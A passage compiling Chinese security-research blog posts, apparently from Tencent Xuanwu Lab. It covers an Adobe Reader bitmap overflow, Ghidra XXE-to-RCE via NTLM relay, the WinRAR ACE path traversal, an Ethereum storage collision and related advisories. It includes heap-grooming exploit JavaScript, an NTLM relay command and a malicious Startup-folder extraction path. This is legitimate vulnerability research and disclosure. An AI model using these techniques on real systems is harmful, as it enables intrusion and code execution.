        print 'Usage: %s <input.bmp> <template.pdf> <output.pdf>' % filename
        sys.exit(1)
    generate_pdf(sys.argv[1], sys.argv[2], sys.argv[3])

5.5 利用技巧

5.5.1 内存布局 (1)

这里借助 ArrayBuffer 来完成内存布局。

因为位图解析过程中创建的堆块大小为 0xF0 字节,因此 ArrayBufferbyteLength 可以设置为 0xE0 。为了创建内存空洞,可以先创建大量的 ArrayBuffer 对象,然后间隔释放其中的一半对象,理想情况下的内存布局如下:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │     Hole    │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘
│ <-  0xF0 -> │

在触发漏洞时,位图解析相关的堆块会落到其中一个空洞上:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘

因为可以向低地址方向越界写 0xF4 字节的 0x10 数据,所以触发漏洞之后,ArrayBuffer 对象的 backing store 的内存布局如下:

0:014> dd 304c8398
;            -, byteLength, viewobj,       -,
304c8398  00000000 10101010 10101010 10101010
;         ArrayBuffer 数据
304c83a8  10101010 10101010 10101010 10101010
304c83b8  10101010 10101010 10101010 10101010
304c83c8  10101010 10101010 10101010 10101010
304c83d8  10101010 10101010 10101010 10101010
304c83e8  10101010 10101010 10101010 10101010
304c83f8  10101010 10101010 10101010 10101010
304c8408  10101010 10101010 10101010 10101010
304c8418  10101010 10101010 10101010 10101010
304c8428  10101010 10101010 10101010 10101010
304c8438  10101010 10101010 10101010 10101010
304c8448  10101010 10101010 10101010 10101010
304c8458  10101010 10101010 10101010 10101010
304c8468  10101010 10101010 10101010 10101010
304c8478  10101010 10101010 10101010 10101010 ; ArrayBuffer 结束
; 下一个堆块的元数据(存储位图数据的堆块)
304c8488  10101010 10101010
; 位图数据
304c8490                    00000000 00000000

此时 ArrayBuffer 对象的 byteLength 被改成了 0x10101010 ,但是 DataView 对象的指针也被改成了 0x10101010 ,前面提到过这会导致进程崩溃。

5.5.2 内存布局 (0)

为了避免进程崩溃,需要提前在地址 0x10101010 上布局数据,让这个地址看起来就是一个 DataView 指针。很明显,为了漏洞利用更加稳定,我们需要一开始就在这里布局好数据。

同样,这里借助 ArrayBuffer 实现精确的内存布局:

  • 创建大量 byteLength0xFFE8ArrayBuffer
  • 在特定内存范围内,ArrayBufferbacking store 将有序的出现在地址 0xYYYY0048

之所以选择 0xFFE8 ,是因为这会使得 backing store 所在堆块整体的大小为 0x10000

// 0xFFE8 -> byteLength
// 0x10 -> sizeof ObjectElements
// 0x08 -> sizeof heap block's metadata
0xFFE8 + 0x10 + 0x08 = 0x10000

使用下面的代码进行内存布局,可以有效防止进程崩溃(具体细节不作讲解,相关条件很容易通过动态调试分析出来):

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);

    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

当然,这仅仅只能防止漏洞触发后进程的崩溃,如果要为该 ArrayBuffer 关联新的 DataView 来读写数据,那么会导致新的崩溃。同样,填充一点新的数据就可以防止进程崩溃,新的代码如下所示:

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);
    // 防止触发漏洞之后进程立刻 Crash
    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);
    // 防止关联 DataView 对象时 Crash
    dv.setUint32(0xFFA4, 0x10100458, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

5.5.3 全局读写

ArrayBuffer 对象的 byteLength 被改成 0x10101010 之后,可以基于这个 ArrayBuffer 对象修改下一个 ArrayBuffer 对象的 byteLength 。在基于 ArrayBuffer 创建内存空洞时,可以在每一个 ArrayBuffer 上存储特定的标记值,这样在内存中搜索 ArrayBuffer 对象就非常简单了。

  (1)byteLength            (3)Global Access
 ┌─<───<───<───┐            <──────┬──────>
┌┼────────────┬┼────────────┬──────┼──────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└──────┼──────┴─────────────┴┼────────────┴─────────────┘
       └──>───>───>───>────>─┘
        (2) byteLength to -1

当下一个 ArrayBuffer 对象的 byteLength 被改成 0xFFFFFFFF 时,基于这个 ArrayBuffer 对象就可以实现用户态空间的全局读写了。

5.5.4 任意地址读写

一旦拥有全局读写的能力,我们就可以向低地址方向来搜索特定的关键字来定位 ArrayBuffer 对象在内存中的绝对地址,然后基于这个绝对地址来实现任意地址读写。

这里可以通过搜索 ffeeffee 或者 f0e0d0c0 来定位,为了提高准确性,需要同时校验关键字附近的数据的取值范围。

0:014> dd 30080000
30080000  16b80e9e 0101331b ffeeffee 00000002  ; ffeeffee
30080010  055a00a4 2f0b0010 055a0000 30080000  ; +0x14 -> 30080000
30080020  00000fcf 30080040 3104f000 000002e5
30080030  00000001 00000000 30d69ff0 30d69ff0
30080040  3eb82e96 08013313 00000000 0000ffe8
30080050  00000000 00000000 10100158 00000000
30080060  00000000 00000000 00000000 00000000
30080070  00000000 00000000 00000000 00000000

0:014> dd 305f4000
305f4000  00000000 00000000 6ab08d69 0858b71a
305f4010  0bbab388 30330080 0ff00112 f0e0d0c0  ; f0e0d0c0
305f4020  15dc2c3f 00000430 305f402c d13bc929  ; +0x0C -> 305f402c
305f4030  e5c521a7 d9b264d4 919cee58 45da954e
305f4040  5c3f608b 2b5fd340 0bae3aa9 2b5fd340
305f4050  0fae32aa d13bc929 e5c521a7 d9b264d4
305f4060  919cee58 45da954e 9c3f608b f952aa94
305f4070  989c772a a1dd934a ac5b154b 2fadd038

5.5.5 剩余步骤

在拥有任意地址读写能力之后,实现代码执行就是固定的套路了,本文对此不做详细介绍。

剩余的步骤如下:

  • EIP 劫持
  • ASLR 绕过
  • DEP 绕过
  • CFG 绕过

0x06. CVE-2013-2729

前面提到一共找到了三处整数溢出,其中一处位于 RLE8 数据解析过程中,另外两处位于 RLE4 数据解析过程中。难道不应该有四个位置存在整数溢出吗?为什么只找到了三个?

因为有一个在六年前已经修复了(参考 feliam’s write up for CVE-2013-2729)!从版本 2019.012.20035 中的代码也可以看到,确实有一个地方判断了整数溢出的情况,这就是 CVE-2013-2729 引入的补丁。

dst_xpos = BYTE1(cmd) + xpos;
if ( ypos >= height || dst_xpos < xpos || 
     dst_xpos < BYTE1(cmd) || dst_xpos > width )  // overflow check
  goto LABEL_170;         // CxxThrowException

然而 Adobe 仅仅修补了报告的这一个位置,而忽略了其他三个位置上的整数溢出。

0x07. 经验教训

对厂商而言,在深入理解漏洞本质的同时,还可以看看是不是有类似的问题需要修复。

对安全研究人员而言,分析完漏洞之后还可以顺便看一下厂商的修复方式,也许不经意间就能发现新的漏洞。

Ghidra 从 XXE 到 RCE

作者:腾讯安全玄武实验室 tomato, salt

0x00 背景

Ghidra是 NSA 发布的一款反汇编工具,它的发布引起了安全研究人员的极大兴趣。
有研究人员发现Ghidra在加载工程时会存在XXE,基于笔者之前对XXE漏洞利用研究发现,攻击者可以利用Java中的特性以及Windows操作系统中NTLM认证协议的缺陷的组合来完成RCE。

0x01 技术细节

Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证。
其根本原因在于Windows下的Java默认启用了透明NTLM认证,并且将所有由外部传入的URL地址都认为是可信的。如下面代码段所示

sun.net.www.protocol.http.AuthScheme#NTLM

if (tryTransparentNTLMServer) {
    tryTransparentNTLMServer =
            NTLMAuthenticationProxy.supportsTransparentAuth;
    /* If the platform supports transparent authentication
     * then check if we are in a secure environment
     * whether, or not, we should try transparent authentication.*/
    if (tryTransparentNTLMServer) {
        tryTransparentNTLMServer =
                NTLMAuthenticationProxy.isTrustedSite(url);
    }
}

再跟入NTLMAuthenticationProxy.isTrustedSite方法

public static boolean isTrustedSite(URL url) {
    try {
        return (Boolean)isTrustedSite.invoke(null, url);
    } catch (ReflectiveOperationException roe) {
        finest(roe);
    }

    return false;
}

通过反射调用了sun.net.www.protocol.http.ntlm.NTLMAuthentication中的isTrustedSite方法,在此方法中将所有外部传入的URL都判定为可信的。

攻击者通过搭建基于NTLM认证的HTTP Server即可获取到当前用户的Net-NTLM Hash。

我们再来看NTLM认证协议的缺陷。NTLM认证协议中存在一种很古老的攻击的技术,被称作为NTLM Relay攻击。此攻击的原理网上已经有很多文章进行说明,在此不再赘述。
但在此次漏洞利用方式中我们使用的凭据反射攻击,即为攻击者将受害者的Net-NTLM Hash再次Relay给受害者,达到以彼之道还施彼身的效果。

下面来看看这个过程的具体实现,攻击者首先搭建基于NTLM认证的恶意HTTP Server,然后通过XXE/SSRF等漏洞使受害者向恶意的HTTP Server进行NTLM认证。

值得注意的是,NTLM认证分为两个版本NTLMv1和NTLMv2,在进行NTLMv1类型认证时攻击将获取到的Net-NTLM Hash直接Relay给受害者的SMB服务即可,但是在使用NTLMv2类型认证时,攻击者在Relay时需要将NTLM认证中Type 2 Message的Negotiate Flags进行修改,将Negotiate Always Sign与Negotiate 0x00004000 两个标志位从设置改为不设置,这其中具体代表的含义为让此次认证被认作在网络上(Relay给本机会被当做是一次本地认证)进行以及将认证中的签名进行去除。

为完成该攻击过程,笔者已经编写好脚本

0x03 复现步骤

受害者环境 Oracle JDK 8u161、Win10、Administrator账户

攻击者环境 Ubuntu16.04 IP为192.168.130.136

首先在局域网内另一台机器上运行前面提到的脚本

python ultrarelay.py -ip 192.168.130.136 -smb2support

脚本将会在80端口开启HTTP服务。然后回到Win10中新建一个Ghidra工程,修改工程中的project.prp,插入XXE攻击代码,如下图所示

再次使用Ghidra打开此恶意工程,攻击者就能获取到受害者机器的NTLM Hash,也可通过脚本中的参数在受害者机器上执行任意命令。

0x04 防御措施

1.开启Windows防火墙,禁止外部请求访问SMB服务

2.若要提供SMB服务 则建议开启SMB Sign

3.升级JDK至最新版本

0x05 参考资料

https://twitter.com/sghctoma/status/1103392091009413120

https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf

全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)

作者:lywang, dannywei

0x00 背景

WinRAR 作为最流行的解压缩软件,支持多种压缩格式的压缩和解压缩功能。今天,Check Point公司的安全研究员 Nadav Grossman 公开了他在 WinRAR 中发现的一系列漏洞。其中以 ACE 解压缩模块的远程代码执行漏洞(CVE-2018-20250)最具危害力。
WinRAR 为支持 ACE 压缩文件的解压缩功能,集成了一个具有 19 年历史的动态共享库 unacev2.dll。 而此共享库自 2006 年以来再未更新过,也未开启任何漏洞利用缓解技术。Nadav Grossman 在 unacev2.dll 中发现了一个目录穿越漏洞,成功利用此漏洞可导致远程代码执行或 Net-NTLM hash 泄露。

0x01 漏洞描述

ACE 文件的解压模块 unacev2.dll 对解压缩路径进行验证时,未能正确过滤压缩文件中的“相对路径”,导致攻击者结合一些技巧可以绕过安全检查,使压缩文件中恶意构造的“相对路径”被直接用作了解压路径使用。从而可以将恶意代码静默释放到系统启动目录中,最终实现远程代码执行或 Net-NTLM hash 泄露。

0x02 漏洞成因

unacev2.dll 模块在解压 ACE 文件时,将对解压缩路径进行验证。它从压缩文件中提取待解压文件的相对路径 file_relative_path,使用 GetDevicePathLen(file_relative_path) 对其进行校验,根据返回结果进行最终解压路径的拼接。如下图所示:

(图片来源:https://research.checkpoint.com/extracting-code-execution-from-winrar/)

当 GetDevicePathLen(file_relative_path) 返回 0 时,将使用 WinRAR 提供的解压路径与压缩文件中的相对路径拼接,得到最终的解压路径:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

而当 GetDevicePathLen(file_relative_path) 返回非 0 时,仅使用压缩文件中的“相对路径”作为最终的解压路径:

sprintf(final_file_path, "%s%s", "", file_relative_path);

因此,若攻击者能够构造恶意的相对路径,在绕过 WinRAR 回调函数 StateCallbackProc() ,unacev2.dll!CleanPath() 等一系列路径检测和过滤函数的前提下,使 unacev2.dll!GetDevicePathLen(file_relative_path) 返回非0值,便可以使得使用恶意构造的相对路径作为最终解压路径,将恶意文件解压至指定目录中。

最终,Nadav Grossman 构造了两种攻击路径:

编号 恶意的相对路径 最终的解压路径
1 C:\C:\some_folder\some_file.ext C:\some_folder\some_file.ext
2 C:\\10.10.10.10\smb_folder_name\some_folder\some_file.ext \10.10.10.10\smb_folder_name\some_folder\some_file.ext

攻击路径 1 的危害:攻击者可以使用漏洞,将恶意文件静默释放至可能造成危害的路径中实现攻击。
攻击路径 2 的危害: 攻击者可以获取受害者的Net-NTLM hash,从而使用NTLM Relay的方式攻击受害者。

值得一提的是,由于 WinRAR 运行在普通用户权限下,使得攻击者无法将恶意文件静默释放至路径已知的系统启动目录(”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”)。而释放至用户启动目录(”C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”)需要提前预知受害者的登陆用户名或者进行暴力猜测。
好在大多数此类攻击场景均是受害者将恶意构造的压缩文件下载至桌面(C:\Users\<user name>\Desktop)或者下载目录(C:\Users\<user name>\Downloads),而当压缩文件通过双击解压或右键解压缩时,当前的WinRAR的工作路径与压缩文件一致。这使得攻击者无需猜测受害者用户名,可通过目录穿越的方式将恶意文件释放至用户启动目录,待受害者系统启动时实现任意代码执行。在此前提下, Nadav Grossman 构造了如下的相对路径,使得远程代码执行攻击得以成功:

"C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"

0x03 影响范围

unacev2.dll 作为一个第三方共享库,也被其它一些支持 ACE 文件格式解压的软件所使用,这些软件也同样受到该漏洞的影响。
利用玄武实验室自研的“阿图因”系统,我们对已收录的全网 PC 软件进行了扫描,统计了 unacev2.dll 的使用情况,其版本分布情况如下图所示:

通过“阿图因”系统,我们还能够对使用了该共享库的软件进行反向溯源,目前扫描到了受影响的有 24 款国外软件,15 款国产软件。
多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件,以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中,作为解压模块使用。

0x04 修复建议

目前,WinRAR 已经在 5.70 Beta 1 版本中修复了这个问题。由于开发 ACE 解压模块的公司已于 2017 年 8 月关闭,而且 unacev2.dll 共享库并没有公开源码,导致漏洞无法被正确修复。因此 WinRAR 的修复方案是直接将 unacev2.dll 模块移除,并决定不再支持 ACE 文件格式的解压。

另外,360压缩在最新版本中也已经修复了这个问题,修复方案同样是移除 unacev2.dll 模块。
对于其它受影响软件的用户,我们建议您关注相关软件的修复更新情况,及时更新版本。在软件开发商主动修复之前,可以通过手动删除安装目录下的 unacev2.dll 模块来应急修复。

0x05 参考资料

[1] Extracting a 19 Year Old Code Execution from WinRAR https://research.checkpoint.com/extracting-code-execution-from-winrar/

[2] ACE (compressed file format) https://en.wikipedia.org/wiki/ACE_(compressed_file_format)

从一起“盗币”事件看以太坊存储 hash 碰撞问题

Author : Kai Song(exp-sky)、hearmen、salt、sekaiwu of Tencent Security Xuanwu Lab

“盗币”

十一月六日,我们观察到以太坊上出现了这样一份合约,经调查发现是某区块链安全厂商发布的一份让大家来“盗币”的合约。

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    constructor(address addr) payable{
        token = ERC20(addr);
    }
    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }
        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }
    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }
    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);
        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

经过观察之后,我们在这个合约中,发现了我们之前研究的一个 EVM 存储的安全问题,即 EVM 存储中的 hash 碰撞问题。

继续阅读“从一起“盗币”事件看以太坊存储 hash 碰撞问题”

来自微信外挂的安全风险

玄武实验室联合独立安全研究员 em 发现在 Mac OS 上用户量比较大的两款微信防撤回外挂存在安全问题,装了此外挂的用户只要在浏览器里访问攻击者页面并停留一分钟左右,攻击者即可拿到该用户的好友列表,聊天记录,甚至以该用户的身份给好友发送消息,对用户的信息安全造成巨大威胁。

目前这两款外挂的用户量较大,比较热门的一款目前在 Github 上的 star 数量接近 8800,实际安装的用户数量可能更多。经过玄武实验室与微信安全部门沟通,为了避免让众多用户暴露在安全风险中,我们决定先对该外挂进行漏洞通报,然后再发文提示用户安全威胁。em 于10月15日在对应的 Github 仓库中提交了修复代码,其中一个已经进行修补,而另一个尚无操作。玄武实验室联合微信安全提醒大家,不要随意安装微信外挂。

一个攻击演示的视频如下。

继续阅读“来自微信外挂的安全风险”

利用恶意页面攻击本地Xdebug

TL;DR
PHP开发者以及一些安全研究人员经常会在本地搭建一个基于Xdebug的PHP的调试服务,在大部分配置情况下,Xdebug采用HTTP请求头中的X-Forwarded-For字段作为DBGp协议的回连地址。受害者浏览攻击页面一段时间,攻击者可利用DNS Rebind技术向本地服务器发送带有恶意X-Forwarded-For的请求,即有可能在受害者电脑上执行任意代码。

Xdebug是用于调试PHP的扩展,可以根据本地源码远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境,用于日常的开发和调试。如果服务器开启了Xdebug的回连,并且攻击者能直接访问到服务器的话,可以直接造成RCE。

但是大部分情况下,这些服务器处于内网环境中,有些甚至监听在127.0.0.1上,攻击者很难直接访问到,导致无法利用。如果把开发人员当做代理,利用CSRF来攻击位于内网的Xdebug呢?

我们首先看一下Xdebug有关远程调试的文档
如果xdebug.remote_connect_back启用,xdebug.remote_host没有设置,Xdebug会主动连接发起HTTP请求的客户端。Xdebug会依次检测$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['REMOTE_ADDR']来决定回连的IP地址。
继续阅读“利用恶意页面攻击本地Xdebug”

对华为HG532远程命令执行漏洞的新探索

2017年11月27日Check Point 公司报告了一个华为 HG532 系列路由器的远程命令执行漏洞,漏洞编号为CVE-2017-17215。利用该漏洞,向路由器UPnP服务监听的37215端口发送一个特殊构造的 HTTP 请求包,即可触发命令执行。此端口在默认配置下并不能从外网访问,但由于该系列路由器数量极其巨大,所以互联网上仍有较多可访问到该端口的设备存在。目前已经有蠕虫在利用这些暴露在互联网上的端口进行传播[1]。

近期国内外已有不少对该漏洞原理的分析[2],在此不再赘述。但我们发现该漏洞实际的威胁可能比目前大家所认为的更为严重,某些对该漏洞的防御建议也是不够的甚至错误的。37215端口暴露在互联网上的HG532系列设备只占其中很少一部分,就已经足够多到被蠕虫利用,而如果其它那些只在内网能访问到的37215端口也可以被攻击者利用呢?

在2013年,国内爆发了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻击技术。这种攻击技术能利用在现在HG532路由器的这个漏洞上吗?如果可以,那么只要诱使HG532路由器的用户用手机、电脑访问一个恶意页面,就可以导致路由器完全被攻击者控制。
继续阅读“对华为HG532远程命令执行漏洞的新探索”

Browser UI Security 技术白皮书

Browser UI ,是指浏览器用户界面。浏览器经过几十年的发展,对于用户界面并没有一个统一的规定标准,目前大多数现代浏览器的用户界面包括:前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面,例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把Browser UI认为是一个前端标签式的页面管理器或者Web的外壳,用户不必去考虑浏览器应用程序底层是如何处理数据的,所有的网络行为结果,均由Browser UI去展现给用户。

从安全的角度来说,浏览器UI上最容易发生的攻击就是用户界面欺骗,也就是UI Spoof。通常UI Spoof被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户,进而获取用户的敏感信息的一种攻击手段,通常使用伪造网站等方法,诱使用户从视觉感官上相信其是合法真实的,当用户在浏览器中进行操作后,敏感信息就有可能被攻击者获取到。

因此浏览器UX团队在开发UI过程中,在便捷用户浏览的同时,对UI安全模型上的设计、策略、逻辑也显得非常重要,安全的UI能帮助用户在上网时快速、准确的做出正确安全的决策。 而UI一旦出现了缺陷,攻击者就可能伪造浏览器UI中的某些关键信息,进而对用户实施网络钓鱼攻击。

本技术白皮书中将给大家介绍什么是UI Spoof漏洞,并对多个浏览器UI上的安全漏洞进行详细分析。

下载链接: Browser-UI-Security-技术白皮书.pdf

从一个补了三次的漏洞看WCF的安全编程

背景

笔者在2016年11月发现并报告了HP Support Assistant (HPSA) 的权限提升漏洞,HP Product Security Response Team (HP PSRT) 响应迅速,但却以此漏洞可以通过软件的自动更新功能自动修复为由拒绝为其发布安全公告和CVE。4月份想起这件事后,笔者又分析了一遍修补后的HPSA,发现HP的开发人员在修补中犯了更为低级的错误,导致补丁可以被绕过重新实现权限提升。在随后与HP PSRT的沟通与合作中,再一次利用其它技巧绕过了其后续修补,最终笔者协助HP PSRT完成了漏洞的修补。

本文将分析此漏洞的成因及多次补丁绕过,希望能以此为案例提高开发人员对安全的认识和理解,以减少由于对所用技术理解不到位和安全编程意识匮乏而导致的安全漏洞。

继续阅读“从一个补了三次的漏洞看WCF的安全编程”

深入分析NSA用了5年的IIS漏洞

Author: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞简介

1.1 漏洞简介

2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 <http://localhost/xxxx> 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

  • 两个 Exploit 的结构基本一致;
  • 都将 Payload 数据填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

继续阅读“深入分析NSA用了5年的IIS漏洞”